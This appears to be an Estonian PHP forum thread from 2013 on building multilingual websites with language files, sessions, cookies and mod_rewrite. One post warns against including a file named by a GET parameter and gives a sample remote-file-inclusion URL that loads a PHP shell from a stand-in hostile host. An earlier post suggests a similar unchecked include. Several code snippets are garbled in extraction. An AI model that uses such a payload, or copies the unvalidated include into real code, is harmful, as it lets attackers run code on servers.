PHP.EE FOORUM   
Nimi:   Pass:   Mäleta mind! 
   Teemad | php.ee esilehele | registreeri | Märgi kõik teemad loetuks | #php.ee Skype vestlus | RSS
UUS TEEMA  OTSI  Lehekülgi: 1 2 
mitmekeelsus
Postitaja: mitmekeelne 2013-02-24 17:09:32
kuidas teha lehele mitmekeelsus

ise kunagi ammu kasutanud sessioone selleks, lehe algul kontrollis ja lõi sessi, et mis keel valitud.

või on targem teha aadressile /et, /en. midaiganes ja siis link toimib nende järgi, samuti includeb sisse keelefaili vastavalt aadressile.

on kellelgi soovitusi?
RE: mitmekeelsus
Postitaja: Keelemees 2013-02-24 17:16:48
GET on ikkagi levinud meetod.

TSITEERITUD:
kuidas teha lehele mitmekeelsus

ise kunagi ammu kasutanud sessioone selleks, lehe algul kontrollis ja lõi sessi, et mis keel valitud.

või on targem teha aadressile /et, /en. midaiganes ja siis link toimib nende järgi, samuti includeb sisse keelefaili vastavalt aadressile.

on kellelgi soovitusi?
RE: mitmekeelsus
Postitaja: lost in scope 2013-02-24 18:53:05
TSITEERITUD:
kuidas teha lehele mitmekeelsus

ise kunagi ammu kasutanud sessioone selleks, lehe algul kontrollis ja lõi sessi, et mis keel valitud.

või on targem teha aadressile /et, /en. midaiganes ja siis link toimib nende järgi, samuti includeb sisse keelefaili vastavalt aadressile.

on kellelgi soovitusi?

nii GET kui sessioon ja miks mitte ka küpsis, kui kasutaja valikut tahad meelde jätta. ainult GET peale ehitades pead seda siis kogu aeg kaasas tirima, igal võimalikul juhul istub ta sul url is siis.
minu mõte oleks vaikimisi keel, mis kirjutatakse ka sessiooni, kui on urlis vastav GET paramaeeter võetakse sealt väärtus ja kirjutatakse sessiooni muutuja üle.
RE: mitmekeelsus
Postitaja: 123adda 2013-02-24 19:12:52
TSITEERITUD:
kuidas teha lehele mitmekeelsus

ise kunagi ammu kasutanud sessioone selleks, lehe algul kontrollis ja lõi sessi, et mis keel valitud.

või on targem teha aadressile /et, /en. midaiganes ja siis link toimib nende järgi, samuti includeb sisse keelefaili vastavalt aadressile.

on kellelgi soovitusi?
kas sul on tõlked sünkroonis või on ka sisulne erinevus keelte jaoks, kui sisu juba erinema hakkab, kasuta parem erinevat serveri nime või prefixina aliast, esimene on parem
RE: mitmekeelsus
Postitaja: ise php 2013-02-24 19:58:25
Kui kasutad sisu hoidmiseks andmebaasi on suht kasulik teha tabel kus olemas eraldi lahtrid kõigi keelte sisu jaoks, siu otsid ID järgi ja vastavalt keelele loed siis õigest lahtrist.
RE: mitmekeelsus
Postitaja: lp 2013-02-24 19:59:03
kõige lihtsam on panna kuskile keelte kausta failid:
et.php sisuga

$lang=array(
'welcome' => 'Tere tulemast',
'no' => 'Ei',
'yes' => 'Jah',
//...
)
en.php sisuga
$lang=array(
'welcome' => 'Welcome',
'no' => 'No',
'yes' => 'Yes',
//...
)
..jne.
Ja siis lahendada mingi $_SESSION['lang'] = 'et' // või en
ning kusagil laadida vastava keele fail require_once $_SESSION['lang'].'.php'.
RE: mitmekeelsus
Postitaja: blaa 2013-02-24 21:39:19
sessiooniga on see mure, et google ei indekseeri sul tõenäoliselt kõiki keeli ära või teeb seda ebaühtlaselt, mõned leheküljed ühes keeles ja teised teises keeles.

Mina hoiaks tõlked andmebaasis ja teeks tõlkimiseks mingi liidese.
Tõlked loeks andmebaasist ainult need, mis vaja ja cacheks faili, mis on urliga seotud.
RE: mitmekeelsus
Postitaja: Nimismees 2013-02-24 21:46:44
Kes huvitatud see ongi
RE: mitmekeelsus
Postitaja: rtfm 2013-02-25 09:38:46
RE: mitmekeelsus
Postitaja: stopz 2013-02-28 15:50:08
Mina lahendaksin selle ikkagi cookiga mis oleks algeliselt seadistatud brauseri keele pealt. Ehk siis $_SERVER massiivist võtad kliendi brauseri tüübi, seal on ka keel määratud. Selle jätad vaikimisi. Ning selle asemel et teha üks tohutult suur fail nagu siin mainiti teeks veelgi lihtsamalt.

Kaust lang kus sees on kas .txt või .php failid keelelühendi nimega ntx: et.txt või en.txt iga rida on miski sõna või lause.

Näiteks:

et.txt
tere
sisene
ime

en.txt
hey
login
suck

Väljastamiseks teeks funktsiooni mis loeb faili sisu lähtudes keele küpsisest ridamisi massiivi ja vaja väljastaks neid umbes nii $lang[1] mis olleks meil "login" $lang[0] = hey .
RE: mitmekeelsus
Postitaja: mitmekeelne 2013-02-28 16:18:52
TSITEERITUD:
Mina lahendaksin selle ikkagi cookiga mis oleks algeliselt seadistatud brauseri keele pealt. Ehk siis $_SERVER massiivist võtad kliendi brauseri tüübi, seal on ka keel määratud. Selle jätad vaikimisi. Ning selle asemel et teha üks tohutult suur fail nagu siin mainiti teeks veelgi lihtsamalt.

Kaust lang kus sees on kas .txt või .php failid keelelühendi nimega ntx: et.txt või en.txt iga rida on miski sõna või lause.

Näiteks:

et.txt
tere
sisene
ime

en.txt
hey
login
suck

Väljastamiseks teeks funktsiooni mis loeb faili sisu lähtudes keele küpsisest ridamisi massiivi ja vaja väljastaks neid umbes nii $lang[1] mis olleks meil "login" $lang[0] = hey .


aga mis arvad lahendusest, kui on ikka keelefailid eraldi, aga failis:
et failis
$mingiasikuvada = 'midagi';

en failis
$mingiasikuvada = 'something';

ja lehe alguses inkluudin sisse vastava faili ja siis õige koha peal echo $mingiasikuvada;


mõnes mõttes oleks lehele see lihtsam mul nii teha, kas tundub väga loll idee?
RE: mitmekeelsus
Postitaja: stopz 2013-02-28 16:23:35
Ei ole loll idee, ma kunagi kui õppides tegin ka sedasi. Aga lõpuks sa saad aru, et incluudides igasse faili kõiki neid muutujaid on suurem mälu sööja kui teha kontroll lause ja 1 massiiv kus on sul kõik sees. Kui sa kasutad textiredaktorit näiteks notepad++ (isiklik lemmik) siis sa näed ka kohe mitmendal real mis on -1 kuna massiivid algavad nullist. Ütleme lühidalt, ilma muutujateta on sul tulevikus rohkem vabu muutujaid, LANG ja sinu enda süsteemsed muutjuad ei hakka kunagi kattuma ja pealegi näeb su asi palju PROm välja ning on kiirem kui su sõbral kes tegi muutujatega.
RE: mitmekeelsus
Postitaja: mitmekeelne 2013-02-28 16:33:19
igaljuhul proovin seda asja massividega.

aga lihtsalt, kui lehel on keel $lang[1] või mõne koha peal $lang[127], kas siis segadusse ei aja? ei mäleta ju mis number mida tähendab :D
RE: mitmekeelsus
Postitaja: stopz 2013-02-28 16:40:30
vaatad lang failist järele loomulikult.

Lisaks kui sa teed funktsiooni mis loeb masiivi sisse ja teeb sulle array, sa võid teha nii, et fuction set_lang($lang, $debug = 0) {}

Ja kui Debug == 1 siis ta ei kuva mitte ainult rida $lang[127] sisu vaid ta kuvab ka masiivi võtit ehk seal võid masiivi koostada

foreach ($file as $k => $v) { kui debug == 1 siis $lang[$k] = $k.'='.$v;}

Enne seda muidugi on $lang = array(); ja õige faili sisselugemine ning tükeldamine ridade kaupa.
RE: mitmekeelsus
Postitaja: lk_ 2013-02-28 16:49:20
RE: mitmekeelsus
Postitaja: mitmekeelnee 2013-03-21 02:49:30
TSITEERITUD:
sessiooniga on see mure, et google ei indekseeri sul tõenäoliselt kõiki keeli ära või teeb seda ebaühtlaselt, mõned leheküljed ühes keeles ja teised teises keeles.

Mina hoiaks tõlked andmebaasis ja teeks tõlkimiseks mingi liidese.
Tõlked loeks andmebaasist ainult need, mis vaja ja cacheks faili, mis on urliga seotud.

aga kas google küpsised indekseerib, võib teha esimeseks valikuks küpsised siis?

mul on asi nii tehtud ja ootaks kommentaare selle idee kohta, on see mõistlik üldse?
esiteks keele sessi ja kuuki seadja on eraldi failis

ootaks arvamusi, kas on selline lahendus midaiganes mõttes turvaline?


PHP kood:
 
<?php
session_start
();
if (isset(
$_GET['lang']) && !empty($_GET['lang'])) {

    
//esiteks kontrollime, kas tegu ikka numbriga
    
if (is_numeric($_GET['lang'])) {
        switch (
$_GET['lang']) {
                case 
1:
                        
$setlanguage 1;
                        break;
                case 
2:
                        
$setlanguage 2;
                        break;
                case 
3:
                        
$setlanguage 3;
                        break;
                case 
4:
                        
$setlanguage 4;
                        break;
            default:
                  
$setlanguage '1';
        }
        
        
// kui teame, et GET tõi meile numbri, loome küpsise ja sessi
        
setcookie("keelekypsis"$setlanguagetime()+3600);
        
$_SESSION['keelesess'] = $setlanguage
        
        
// ja loodetavasti on nii kypsis kui sess loodud ning suuname esilehele tagas
        
header("Location: http://localhost/showlang.php");
        
    } else {
        
header("Location: http://localhost/showlang.php"); 
    }
// end if is_numeric
    
}// end if isset && !empty
?>



ja teiseks lehel on kontroll kuuki ja sessi kohta, olenevalt sellest käitub leht edasi


PHP kood:
 
<?php
session_start
();

if (isset(
$_COOKIE['keelekypsis']) && !empty($_COOKIE['keelekypsis'])) { // if on kuuki olemas
    
if (is_numeric($_COOKIE['keelekypsis'])) {
        switch (
$_COOKIE['keelekypsis']) {
                case 
1: @include ('lang_est.php'); break;
                case 
2: @include ('lang_eng.php'); break;
                case 
3: @include ('lang_fin.php'); break;
                case 
4: @include ('lang_rus.php'); break;
            default: @include (
'lang_est.php');
        }
    } else {
        @include (
'lang_est.php');
    }
} else if (isset(
$_SESSION['keelesess']) && !empty($_SESSION['keelesess'])) { // elseif on sess olemas
    
if (is_numeric($_SESSION['keelesess'])) {
        switch (
$_SESSION['keelesess']) {
                case 
1: @include ('lang_est.php'); break;
                case 
2: @include ('lang_eng.php'); break;
                case 
3: @include ('lang_fin.php'); break;
                case 
4: @include ('lang_rus.php'); break;
            default: @include (
'lang_est.php');
        }
    } else {
        @include (
'lang_est.php');
    }        
} else { 
// kui ei leia ei sessi ega kuukit siis incluudib kohe
    
include ('lang_est.php');
}
?>
RE: mitmekeelsus
Postitaja: blaa 2013-03-21 13:22:14
Google küpsiseid ei tunne, aga ma ei ole kindel sessioonis. Võibolla sessiooni id ta hoiab meeles.

Igatahes on kõige parem, kui keele määrab ära urlis olev märgend.
http://googlewebmastercentral.blogspot.com/2010/03/working-w


Sessiooniga võib juhtuda selline asi:
Google tuleb indekseerima
1. / eesti keeles
2. /something1 et
3. /lang=2 inglise keeles
4. /something2 en
5. /something3 en

ja kuigi sul on /something* nii eesti kui inglise keeles, indekseerib google esialgu ainult ühe variandi.
Kui google järmisel korral tuleb, võib ta saada samad lehed teises keeles ja siis ta peab otsustama, kas urli sisu on muutunud või on konkreetne url nüüd ka teises keeles saadaval.

Väga suur võimalus on ka, et google sessioone ei hoia ja indekseeribki ainult default keele.


RE: mitmekeelsus
Postitaja: mitmekeelnee 2013-03-21 14:03:54
get igalepoole urlile kaasa vedada ei ole üldse mingi suur asi, aga url jääb kole kui ta pikaks ajada. siit küsimus, et kuidas seda süsteemi tehakse, et oleks aadressi leht.ee/?lang=eng&mindi_id=25, selle asemele näiteks leht.ee/eng/25
RE: mitmekeelsus
Postitaja: blaa 2013-03-21 21:49:57
lubad apaches mod_rewrite teegi

.htaccess või apache konf:
RewriteEngine On
RewriteCond %{REQUEST_URI} !^/(pildikataloog|muu_staatilise_pahna_kataloog_mida_ignoreerida)/
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteCond %{REQUEST_FILENAME} !-l
RewriteRule .* index.php

php:
preg_match('//(en|et|ru)//', $_SERVER['REQUEST_URI'], $m);
$lang = $m[1];
RE: mitmekeelsus
Postitaja: mitmekeelnee 2013-03-21 22:08:14
TSITEERITUD:
lubad apaches mod_rewrite teegi

.htaccess või apache konf:
RewriteEngine On
RewriteCond %{REQUEST_URI} !^/(pildikataloog|muu_staatilise_pahna_kataloog_mida_ignoreerida)/
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteCond %{REQUEST_FILENAME} !-l
RewriteRule .* index.php

php:
preg_match('//(en|et|ru)//', $_SERVER['REQUEST_URI'], $m);
$lang = $m[1];
ja kuna lehel on erinevaid .php lõpuga lehti nii 10 kanti, siis pean need kõik htaccess faili sisse kandma jah
RE: mitmekeelsus
Postitaja: mitmekeelnee 2013-03-31 23:33:52
nii toimib, aga kuidas käituda olukorras, kui igalpool ja iga kord ei ole keele kohta infot antud, st url võib sisaldada keele kohta infot ja võib ka mitte, oskab keegi ehk aidata.
nimelt aadressi: leht.php?lang=et&id=23&cat=2&midagiveel=55
tahaks saada siis leht/et/23/55 (kui tegemist index.php lehega, siis domeen.ee/et/23/55

aga, mismoodi lahendada kui mõni get jääb tühjaks?


PHP kood:
 
<IfModule mod_rewrite.c>
  
RewriteEngine on
  RewriteCond 
%{REQUEST_FILENAME} !-f
  RewriteCond 
%{REQUEST_FILENAME} !-d
  RewriteRule 
^leht$   leht.php         [L]
  
RewriteRule ^leht/([^/.]+)/?$ leht.php?lang=$[L]

</
IfModule>
RE: mitmekeelsus
Postitaja: Arvi V 2013-04-01 09:23:08
Olen näinud mõnes kohas nii, et laetakse sisse keelefail stiilis.

include($_GET["language"].".php");

ÄRGE nii tehke, see võimaldab language muutujaga manipuleerides teha nii Local kui Remote File Inclusion rünnakut.

www.minusait.ee/?language=www.kurisait.com/phpshell.php%00
RE: mitmekeelsus
Postitaja: lk_ 2013-04-01 09:38:30

PHP kood:
 $keeled = array('en','et','ru');

$muster '/('.join('|'$keeled).')/';
preg_match($muster$_SERVER['REQUEST_URI'], $m);

# kui aadressireal on keel antud siis kasutatakse seda
# kui ei, siis keeltemassiivi esimest väärtust
$keel in_array($m[1], $keeled) ? $m[1] : $keeled[0];
echo 
$keel;
RE: mitmekeelsus
Postitaja: mimekas 2013-04-03 09:00:31
ja tõesti pean htaccess faili siis kirjutama kõik võimalused jah?

PHP kood:
 
RewriteRule 
^([^/]+)/?$                 index.php?leht=$[L]
RewriteRule ^([^/]+)/([^/]+)/?$         index.php?leht=$1&veel=$[L]
RewriteRule ^([^/]+)/([^/]+)/([^/]+)/?$ index.php?leht=$1&veel=$2&oioi=$[L]


ja nii iga leht.php faili kohta eraldi ja ka kõik võimalused, mitu kaldkriipsu aadressi tulla võib. olen õigesti aru saanaud htaccess mõttest?
RE: mitmekeelsus
Postitaja: lk_ 2013-04-03 14:49:45

Leheküljed: 1 2 

©2002-2013 Martin Rebane & PHP.ee kaasautorid
  0.0879330635071